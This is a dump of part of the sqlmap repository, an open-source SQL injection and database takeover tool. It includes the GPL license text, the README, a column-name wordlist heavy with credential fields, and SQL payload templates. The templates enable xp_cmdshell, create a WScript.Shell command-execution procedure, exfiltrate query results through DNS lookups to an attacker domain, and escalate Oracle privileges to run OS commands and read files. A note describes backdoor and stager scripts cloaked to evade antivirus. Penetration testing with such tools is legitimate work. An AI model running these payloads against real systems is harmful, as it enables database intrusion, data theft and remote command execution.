copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS ================================================ FILE: README.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki. Installation ---- You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform. Usage ---- To get a list of basic options and switches use: python sqlmap.py -h To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://asciinema.org/a/46601). To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Links ---- * Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations ---- * [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md) * [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md) * [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) * [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) * [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) * [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) * [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) * [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) * [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) * [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) ================================================ FILE: data/procs/README.txt ================================================ Files in this folder represent SQL snippets used by sqlmap on the target system. They are licensed under the terms of the GNU Lesser General Public License where not specified otherwise. ================================================ FILE: data/procs/mssqlserver/activate_sp_oacreate.sql ================================================ EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'ole automation procedures',1; RECONFIGURE WITH OVERRIDE ================================================ FILE: data/procs/mssqlserver/configure_openrowset.sql ================================================ EXEC master..sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE WITH OVERRIDE ================================================ FILE: data/procs/mssqlserver/configure_xp_cmdshell.sql ================================================ EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'show advanced options',0; RECONFIGURE WITH OVERRIDE ================================================ FILE: data/procs/mssqlserver/create_new_xp_cmdshell.sql ================================================ DECLARE @%RANDSTR% nvarchar(999); set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; EXEC master..sp_executesql @%RANDSTR% ================================================ FILE: data/procs/mssqlserver/disable_xp_cmdshell_2000.sql ================================================ EXEC master..sp_dropextendedproc 'xp_cmdshell' ================================================ FILE: data/procs/mssqlserver/dns_request.sql ================================================ DECLARE @host varchar(1024); SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"') # or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"') ================================================ FILE: data/procs/mssqlserver/enable_xp_cmdshell_2000.sql ================================================ EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll' ================================================ FILE: data/procs/mssqlserver/run_statement_as_user.sql ================================================ SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%') # SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%') # SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%') ================================================ FILE: data/procs/mysql/dns_request.sql ================================================ SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%')) ================================================ FILE: data/procs/mysql/write_file_limit.sql ================================================ LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- - ================================================ FILE: data/procs/oracle/dns_request.sql ================================================ SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual ================================================ FILE: data/procs/oracle/read_file_export_extension.sql ================================================ SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL ================================================ FILE: data/procs/postgresql/dns_request.sql ================================================ DROP TABLE IF EXISTS %RANDSTR1%; # https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required CREATE TABLE %RANDSTR1%(%RANDSTR2% text); CREATE OR REPLACE FUNCTION %RANDSTR3%() RETURNS VOID AS $$ DECLARE %RANDSTR4% TEXT; DECLARE %RANDSTR5% TEXT; BEGIN SELECT INTO %RANDSTR5% (%QUERY%); %RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\''; EXECUTE %RANDSTR4%; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT %RANDSTR3%(); ================================================ FILE: data/shell/README.txt ================================================ Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; To get back them into the original form use this: find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; ================================================ FILE: data/txt/common-columns.txt ================================================ # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission id name user_id description username type title userid group_id first_name itemid category_id firstname code pno nextval hostid table_name cid email smtp_helo platformid dept_id album_id key_ the child_cfg jid platform expression functionid smtp_server uid clock alarmid alertid private_key actionid triggerid triggertemplateid local_spi delay sid mediaid peer_cfg smtp_email order_id shared_secret itemtemplateid certificate insertid role_id song_id item_id product_id blob_id distip artist_id empno customer_name grade branch_name portal_id deptno data rid app_id class loan_number countryid enabled fname country ename object_id idtype groupid rowid accno account_number event passwd sequence_id datarow owner_id display pid venue locked eno serviceid alias categoryid canoccupantsinvite keyword channel_id loginrestrictedtonickname registrationenabled logenabled ip maxnumber tag_id alert_id cananyonediscoverjid address sumdatarow emp_id ono anyone surname subdomain maxusers ccc datacol os status_id node_id essn last_name iteration canchangenickname canoccupantschangesubject membersonly created_by succ_rate dnumber service_id mid publicroom propvalue empty_days moderated customer_id wdatarow persistent authorid patch_status_id submitted_by resolution_id osvendor routeid arch fid assigned_to ns event_id problem_code city note channel element_id cat_id position_id schema_id area bug_category_id session_id project_id random nsprefix archive_id nsschema view_id pname bug_group_id lastname link_id langid catname bug_id magic_string m_id zip patch_category_id custno idcountry stopid identifier category isbn group_project_id extension_id state password page extension spellid dno instanceof network priority aname person_id ncbofile student_number term_id uno path_id aid location_id propertyno course_number tid langug_code variable dept_desc orderno ownerno partof clientno white macaddr jobtypeid direction md5sum orga_id parentcategoryid beginstateid mname qno src featurename client_id route_id ticker version modulename maty_id currentstateid userinfo_id column_id imageinfo_id staffno lid metadatainfoid context app_title dest attributecategory_id operation_type dnum pers_id_registerer datasource connectorid our_loc country_name dname capital search_id statechangeid rightid endstateid distconnectorid walnut distmacaddr pixsize jobid revid match_cid branchno prepend_digits stockno ncbofileid object_type type_id pubid qagent office db_name bank dummy storyname col petty qname store_id inv_id inventory gift cno item c_sec_id row_id price loc_id ssn c_id sname parent allowance color group_name accounts vendorid gifi_accno movie_id rate company subid commentpath protocol_action_id topic_id s_id config_id long link copyright vehicle customerid customer f_id chart_id url host loans charttype imagefile data_set_id guest_ip biosample_id affiliation_id os_id street_id book_code object_name start_date form_id itemno provincial confid ratingid drinker qname_id whatsdom config_name ship_id investigator_id smilies_id cal_id license_id conf contact_id procedure_id column_name chromosome_id tf_key agent_specialtyid users_id gid publisher_code setting format_id word slogan superssn product referredby operationid ban_ip p_id lbl_aom_unaccessible_shipmethod origin comment_id product_version probe_id orderdate ordernumber data_type_id publisherid lake_id course_id questionid student_id user_name answerid hashtag preference_id author_num branch_num derived_id factoryid filterid log pnumber specialtyid plugin_id aa file dept_number action_attribute_id cpr storeid progenitor_id staff_number deptid semester poi_id part_id cell_line_id transaction_id agentid regionid token serial_no experimental_data_set_id cp_id the_geom model o_id personid display_name salesperson_id dependent_name license tablename employee_id e_id id_group location bb languageid int4 msg_id department book_id ingredientid action_type_id maker app id_customer this entry_id county_id protocol_type_id empnbr unit_number bar studentid dbid title_id cname emp_num owner course_name editionnumber sessionid mealid com_id text chip_layout_id watchlistid qty data_set_type_id orderid module_id c1 dlocation domainid course_no mgrssn id_log access_control_type_id account_id checking protocol_id request_id settingsid lname sale_date module_addr flag # spanish usuario nombre contrasena consumidor clave tecla llave chaveta tono cuna correo contrasenia # german benutzername benutzer passwort kennwort parole losungswort losung kennung motto stichwort schlusselwort # french utilisateur usager consommateur nom mot passe cle touche clef # italian utente nome utilizzatore parola chiave tasto pulsante chiavetta cifrario # portuguese usufrutuario chave cavilha # slavic korisnik sifra lozinka kljuc # turkish isim ad adi soyisim soyad soyadi kimlik kimlikno tckimlikno tckimlik yonetici sil silinmis numara sira lokasyon kullanici kullanici_adi sifre giris pasif posta adres is_adres ev_adres is_adresi ev_adresi isadresi isadres evadresi evadres il ilce eposta eposta_adres epostaadres eposta_adresi epostaadresi e-posta e-posta_adres e-postaadres e-posta_adresi e-postaadresi e_posta e_posta_adres e_postaadres e_posta_adresi e_postaadresi baglanti gun ay yil saat tarih guncelleme guncellemetarih guncelleme_tarih guncellemetarihi guncelleme_tarihi yetki cinsiyet ulke guncel vergi vergino vergi_no yas dogum dogumtarih dogum_tarih dogumtarihi dogum_tarihi telefon_is telefon_ev telefonis telefonev ev_telefonu is_telefonu ev_telefon is_telefon evtelefonu istelefonu evtelefon istelefon kontak kontaklar # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) user pass cc_number emri fjalekalimi pwd customers_email_address customers_password user_password user_pass admin_user admin_password admin_pass usern user_n users login logins login_user login_admin login_username user_username user_login auid apwd adminid admin_id adminuser adminuserid admin_userid adminusername admin_username adminname admin_name usr usr_n usrname usr_name usrpass usr_pass usrnam nc myusername mail emni logohu punonjes kpro_user wp_users emniplote perdoruesi perdorimi punetoret logini llogaria fjalekalimin kodi emer ime korisnici user1 administrator administrator_name mem_login login_password login_pass login_passwd login_pwd psw pass1word pass_word passw pass_w user_passwd userpass userpassword userpwd user_pwd useradmin user_admin mypassword passwrd admin_pwd admin_passwd mem_password memlogin e_mail usrn u_name uname mempassword mem_pass mem_passwd mem_pwd p_word pword p_assword myname my_username my_name my_password my_email cvvnumber about access accnt accnts account admin adminemail adminlogin adminmail admins aim auth authenticate authentication blog cc_expires cc_owner cc_type cfg clientname clientpassword clientusername config contact converge_pass_hash converge_pass_salt crack customers cvvnumber] db_database_name db_hostname db_password db_username download e-mail emailaddress full group hash hashsalt homepage icq icq_number id_member images index ip_address last_ip last_login login_name login_pw loginkey loginout logo md5hash member member_id member_login_key member_name memberid membername members new news nick number nummer passhash pass_hash password_hash passwordsalt personal_key phone privacy pw pwrd salt search secretanswer secretquestion serial session_member_id session_member_login_key sesskey spacer status store store1 store2 store3 store4 table_prefix temp_pass temp_password temppass temppasword un user_email user_icq user_ip user_level user_passw user_pw user_pword user_pwrd user_un user_uname user_usernm user_usernun user_usrnm userip userlogin usernm userpw usr2 usrnm usrs warez xar_name xar_pass # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html account accnts accnt user_id members usrs usr2 accounts admin admins adminlogin auth authenticate authentication account access customers customer config conf cfg hash login logout loginout log member memberid password pass_hash pass passwd passw pword pwrd pwd store store1 store2 store3 store4 setting username name user user_name user_username uname user_uname usern user_usern un user_un usrnm user_usrnm usr usernm user_usernm user_nm user_password userpass user_pass user_pword user_passw user_pwrd user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) fld_id fld_username fld_password loginname pasword permission perm user_group tendn tendangnhap tenquantri tenquanly tennguoidung ten tennd nguoidung nguoidungid quantri quanly u_id accountname account_name matkhau matma paswd pas tukhoa login_pas loginpassword loginpasswd loginpass loginpas loginpwd secret secret_code secretcode administrators adminpass adminpassword adminpaw adminpwd adminuid upass level mima sb_admin_name sb_pwd client clients ipaddress files family admin_psw administrateur adminpsw adminupass adress aide articleid content dw feed feedback glmm isadmin key keywords mpassword msn musername newsid numer passer pe_aduser pe_user power pswd pwd1 qq stocker sysuser telephone texte userpasswd usr_nusr usr_pw website wind compte comptes objectif authentifier authentification fissure adressee-mail complet groupe hachage connexion membre membres mm p u mot_de_passe_bdd mon_mot_de_passe monmotdepasse ignatiusj caroline-du-nord nouveau sel recherche utilisateurs o konto rachunki administratorzy pomoc cel uwierzytelnienia uwierzytelnianie kontakt klient danych adres_e-mailowy grupy obrazy spis dostawcy nazwisko zaloguj nowy telefon seryjny ustawienie kod stan sklep1 sklep2 tekst zytk konta rysa adrese-mail ecolo tat yh yhm yhmm yonghu # site:br content_id codigo geometry published section_value tidcliente menuid pollid bid moduleid gab_pergunta tipo template multilinestring aal_aluno ava_professor adm_nivel lec_codigo per_codigo lec_disciplina gaip_codigo acl_id niv_codigo quantidade attribute_id gaia_codigo alu_matricula nota gab_codigo field_id ava_codigo aal_codigo message_id avi_codigo fre_disciplina groups_id nome_cliente pc lec_professor idusuario poll_id dis_codigo ava_disciplina gap_codigo avp_codigo aai_codigo fre_aluno fre_codigo adm_id id_estado aap_codigo pro_matricula gp xlancamento municipioprestador product_price_id country_2_code shopper_group_id manufacturer_id com_natur review_id xtipo_de_acao bookmark_id xequipe_padrao faixas_id xcliente deducoes_id xcategoria xencerramento idx_item xcadastro quantitens additional_htmlblob_users_id ipi xfase_de_vencimento permission_id xdecisao i_end xforo order_item_id mo grafica_id news_id enderecos_id desccompensa desconto creditcard_id card_id cardid idcard creditcard cardnumber cardno itens_id senha order_status_id id_seq municipio_id additional_users_id order_status_history_id function_id controladas_id ator_id shipping_rate_id htmlblob_id css_id xfase fieldvalueid main correcaostrategy_id fonte xmetodo_atualizacao desd_xdecisao jurosstrategy_id fielddef_id especie_id idcategoria xgrupo indice_id xprocedimento xcustom1 autor_id newssummarycategory icmsinterno nonnavigable domicilio_id notafiscal_id userplugin_id shipping_carrier_id municipiotomador natureza solicitante_id mbpp xcustom2 template_id chave_primaria desd_xforo payment_method_id nome_agencia pessoa_id uprdescricao export_id logo_id prazo_xevento tomador_id serie_id tidclasfiscais atividades_id logradouro_id xadvogado xequipe handler_id xobjeto multipolygon tipo_id xproprietario state_id mopc valorcontabil xprocesso coupon_id currency_id parameter_name contribuinte_id xcubo country_id id_fatura serienfe_id tax_rate_id waiting_list_id download_id emissao screen xcustom3 mbpc documento_id xcustom4 fieldid point xsituacao icmssp tidproduto pp empresa_id i_tel contador_id telefones_id estado_id xevento site order_currency 